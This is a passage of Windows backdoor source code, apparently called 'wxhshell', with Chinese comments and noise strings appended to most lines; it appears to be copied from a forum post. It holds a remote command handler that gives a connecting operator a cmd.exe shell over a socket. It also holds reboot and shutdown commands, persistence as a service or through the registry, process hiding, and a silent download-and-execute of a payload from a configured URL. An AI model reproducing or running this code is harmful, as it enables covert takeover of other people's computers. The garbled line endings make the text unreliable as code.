    switch(cmd[0]) { 8ZzU^x  
  >:fJhF@  
  // 帮助 ]q37Hj  
  case '?': { *<;&>w8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =mAGD*NKu  
    break; ]X4RnV55Q  
  } &U8 54  
  // 安装 ur`}v|ZY  
  case 'i': { "SDsISWd  
    if(Install()) AF QnCl Of  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /$<JCNGv  
    else >sB=\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LsUFz_  
    break; [)bz6\d[  
    } oRV] p  
  // 卸载 l.yJA>\24I  
  case 'r': { Hv+:fr"  
    if(Uninstall()) [lrmuf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %PSz o8.l  
    else L5TNsLx(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }$w4SpR  
    break; ( / G)"]  
    } fCs\Q  
  // 显示 wxhshell 所在路径 Q=MCMe  
  case 'p': { &0FpP&Z(  
    char svExeFile[MAX_PATH]; Z,(%v.d  
    strcpy(svExeFile,"\n\r"); 0FN~$+t)H  
      strcat(svExeFile,ExeFile); mp muziH  
        send(wsh,svExeFile,strlen(svExeFile),0); 8o%E&Jg:  
    break; M_|M&lR>  
    } )m oo?Q  
  // 重启 n,1NJKX  
  case 'b': { \qRjXadj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nqUH6(  
    if(Boot(REBOOT)) B/:>{2cm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~7KynE  
    else { )sMAhk|  
    closesocket(wsh); a  [0N,t  
    ExitThread(0); \>w@=bq26  
    } EgkZ$ah  
    break; Y^T-A}?`  
    } k?z [hZg0  
  // 关机 B6^w{eXN  
  case 'd': { %kaTQ"PB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aEV|>K=6Y'  
    if(Boot(SHUTDOWN)) n">?LN-DC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bEEJVF0  
    else { g%Th_=qy  
    closesocket(wsh); qT&S  
    ExitThread(0); _ +0uju?o}  
    } eimA *0Cq  
    break; pqRO[XEp2  
    } v GulM<YY  
  // 获取shell N8u_=b{X  
  case 's': { hXj* {vT  
    CmdShell(wsh); >Lo6='G  
    closesocket(wsh); 7r:nMPX  
    ExitThread(0); 6C@0[Q\ER  
    break; }UJdE#4  
  } }7f 1(#{7  
  // 退出 S" I#>^  
  case 'x': { H@ 1[SKBl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kG_&-b  
    CloseIt(wsh); e2,<,~_K6  
    break; \emT:Frb  
    } ;D %5 nnr  
  // 离开 \1eKY^)2  
  case 'q': { hVTyv"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \= )[  
    closesocket(wsh); (\[jf39e  
    WSACleanup(); z|oA{VxW>  
    exit(1); <yX@@8  
    break; q(w1VcLZ  
        } q[Sp|C6x  
  } Q{(,/}kA-  
  } '_Hb}'sFI  
b{9HooQ{  
  // 提示信息 }V93~>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z22|Kv;w  
} OsHkAI  
  } FC jYTGA  
h|$zHm  
  return; & y 2GQJE  
} }lr fO_  
bUZ&}(/  
// shell模块句柄 z[<pi :  
int CmdShell(SOCKET sock) : .UX[!^  
{ C {H'  
STARTUPINFO si; 3P<Zzt%eT  
ZeroMemory(&si,sizeof(si)); ^*4(JR   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7J)a"d^e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Nys'4kx7  
PROCESS_INFORMATION ProcessInfo; &T| UAM.  
char cmdline[]="cmd"; ^$Me#ls!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T`(;;%  
  return 0; ta+"lM7A}$  
} EeF n{_  
}]Z,\lA  
// 自身启动模式 'J&@jp  
int StartFromService(void) cfO^CC  
{ Kuzy&NI^w  
typedef struct &6~ncQWu  
{ 4 I]/  
  DWORD ExitStatus; "O"^\f  
  DWORD PebBaseAddress; d-K5nRyI  
  DWORD AffinityMask; hP6fTZ=Ln  
  DWORD BasePriority; Yg:74; .  
  ULONG UniqueProcessId; R`<{W(J;r  
  ULONG InheritedFromUniqueProcessId; $`+~QR!h  
}   PROCESS_BASIC_INFORMATION; FB^dp}  
{0m[:af&  
PROCNTQSIP NtQueryInformationProcess; E<fwl1<88  
n"Z,-./m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ES2d9/]p-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^b/q|(Nu&  
V!aC#^  
  HANDLE             hProcess; VG*=)8{  
  PROCESS_BASIC_INFORMATION pbi; [fJFH^&?hr  
VS@rM<K{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 83O^e&Bt  
  if(NULL == hInst ) return 0; d$G%F$BTs  
"}y3@ M^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ybuSqFy`$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); / F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @'G ( k;  
(B?xq1Q  
  if (!NtQueryInformationProcess) return 0; &VBD2_T  
`HZHVV$~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E&Zx]?~  
  if(!hProcess) return 0; "e!$=;5  
~wd?-$;070  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @"#gO:|[i0  
Wb-'E%K  
  CloseHandle(hProcess); '~vSH9nx/  
4s+J-l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); / hj9Q!  
if(hProcess==NULL) return 0; KE|u}M@v6  
Z+pvdu  
HMODULE hMod; JKu6+V jO  
char procName[255]; 9zGKQ|X)  
unsigned long cbNeeded; e]y=]}A3{  
8G^B%h]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qI/r_  
:."n@sA@  
  CloseHandle(hProcess); l Ib>t  
^`PSlT3<F  
if(strstr(procName,"services")) return 1; // 以服务启动 '/]Aaf@U8  
d)J] Y=j  
  return 0; // 注册表启动 W$ d{  
} VL,?91qwe  
nr9#3 Lb  
// 主模块 RBp(dKxM$w  
int StartWxhshell(LPSTR lpCmdLine) -<HvhW  
{ yl]Cm?8  
  SOCKET wsl; Ss#{K;  
BOOL val=TRUE; JqV<A3i  
  int port=0; t2%bHIG}  
  struct sockaddr_in door; Nv$gKC6 ,G  
0:(dl@I)@  
  if(wscfg.ws_autoins) Install(); MxvxY,~{0  
+sq, !6#G  
port=atoi(lpCmdLine); >C d&K9H  
#(wz l  
if(port<=0) port=wscfg.ws_port; TKs@?Q,J  
rgY?X$1q_  
  WSADATA data; NBR'^6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4lo}-@j  
-,CndRKx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {]^%?]e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v lnUN  
  door.sin_family = AF_INET; $;j6 *,H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,i((;/O6  
  door.sin_port = htons(port); j*lWi0Z-  
w"Y55EURB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zyQEz#O   
closesocket(wsl); ~$&r(9P  
return 1; |k9j )Hg(  
} $TW+LWb   
BE@H~<E J  
  if(listen(wsl,2) == INVALID_SOCKET) { RBojT   
closesocket(wsl); vBQ?S2f  
return 1; yDBgSO{d  
} u2Z^iY  
  Wxhshell(wsl); :s5<AT Q  
  WSACleanup(); /P:WQ*  
Ku\#Wj|YrP  
return 0; 9%'HB\A  
}[R@HmN   
} t;PnjCD<`  
o_+Qer=O6  
// 以NT服务方式启动 H" g&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G Z[5m[  
{ c!FjHlAnP  
DWORD   status = 0; J_br%AG<p  
  DWORD   specificError = 0xfffffff; H;8]GE2n  
^RDXX+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 42[:s:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -Ce4px?3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @z?.P;f9#  
  serviceStatus.dwWin32ExitCode     = 0; @x>2|`65Y  
  serviceStatus.dwServiceSpecificExitCode = 0; c15^<6]g  
  serviceStatus.dwCheckPoint       = 0; ialk6i![  
  serviceStatus.dwWaitHint       = 0; V \ 8 5  
9 7qS.Z27  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'cc4Y~0s  
  if (hServiceStatusHandle==0) return; +}Wo=R}  
yX Q;LQ;  
status = GetLastError(); nU#q@p)Xg  
  if (status!=NO_ERROR) Qvg"5_26v  
{ "TNUw&ih  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dWWkO03 |  
    serviceStatus.dwCheckPoint       = 0; 1s\hJATfz  
    serviceStatus.dwWaitHint       = 0; lNPbU ~k  
    serviceStatus.dwWin32ExitCode     = status; =ZL}Av}  
    serviceStatus.dwServiceSpecificExitCode = specificError; DG FvRB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <^Nj~+G'  
    return; Wb(0Szk;  
  }  &\br_  
$7 Uk;xV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xR%ayT.  
  serviceStatus.dwCheckPoint       = 0; ="e um7  
  serviceStatus.dwWaitHint       = 0; ]ZATER)jq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JF=ABJ=  
}  b- /x  
PP`n>v=n  
// 处理NT服务事件,比如:启动、停止 c&W.slE6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7VBw@Rh  
{ 7anpz%  
switch(fdwControl) 31;T$5v1  
{ 'a[|}nJ3  
case SERVICE_CONTROL_STOP: c324@o^V  
  serviceStatus.dwWin32ExitCode = 0; [|Pe'?zkf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W,J,h6{F  
  serviceStatus.dwCheckPoint   = 0; k.Nu(j"z  
  serviceStatus.dwWaitHint     = 0; i^KYZ4/%  
  { p&27|1pZm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4V3 w$:,  
  } Wm&f+{LO+K  
  return; *<j@+Ch  
case SERVICE_CONTROL_PAUSE: G{Q'N04RA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <LZvh8  
  break; mR@Xt#  
case SERVICE_CONTROL_CONTINUE: n?tAa|_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y%9F  
  break; rq?x]`u   
case SERVICE_CONTROL_INTERROGATE:  n(1" 6  
  break; &4FdA|9T  
}; B)`X 7uG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rl7Y=*Dv  
} ]vFmY  
}w8AnaC  
// 标准应用程序主函数 aH"c0 A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?d)|vX3Uf  
{ $8}'6,  
MF(~!SOIG  
// 获取操作系统版本 3%a37/|~y  
OsIsNt=GetOsVer(); :.Sc[UI0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kl9z;(6p  
P9^h>sV  
  // 从命令行安装 =*U24B*U93  
  if(strpbrk(lpCmdLine,"iI")) Install(); @>j \~<%  
JwczE9~o  
  // 下载执行文件 dVfDS-v!  
if(wscfg.ws_downexe) { DyZ90]N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %Q~Lk]B?t  
  WinExec(wscfg.ws_filenam,SW_HIDE); ::`wx@  
} 0E[Se|!  
4et#Q  
if(!OsIsNt) { ^)pY2t<^  
// 如果时win9x,隐藏进程并且设置为注册表启动 +60;z4y}w  
HideProc(); rXX|?9 '  
StartWxhshell(lpCmdLine); 1ouTZ'c?  
}  %C:XzK-x  
else TI  
  if(StartFromService()) 'a*IZb-M  
  // 以服务方式启动 _@TTVd  
  StartServiceCtrlDispatcher(DispatchTable); l$KcS&{w9  
else +rY0/T_0,  
  // 普通方式启动 6vA 5;a@  
  StartWxhshell(lpCmdLine); M8}M*\2  
 <k5~z(  
return 0; RJ44o>L4O  
}
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只看该作者 1 发表于: 2006-10-10
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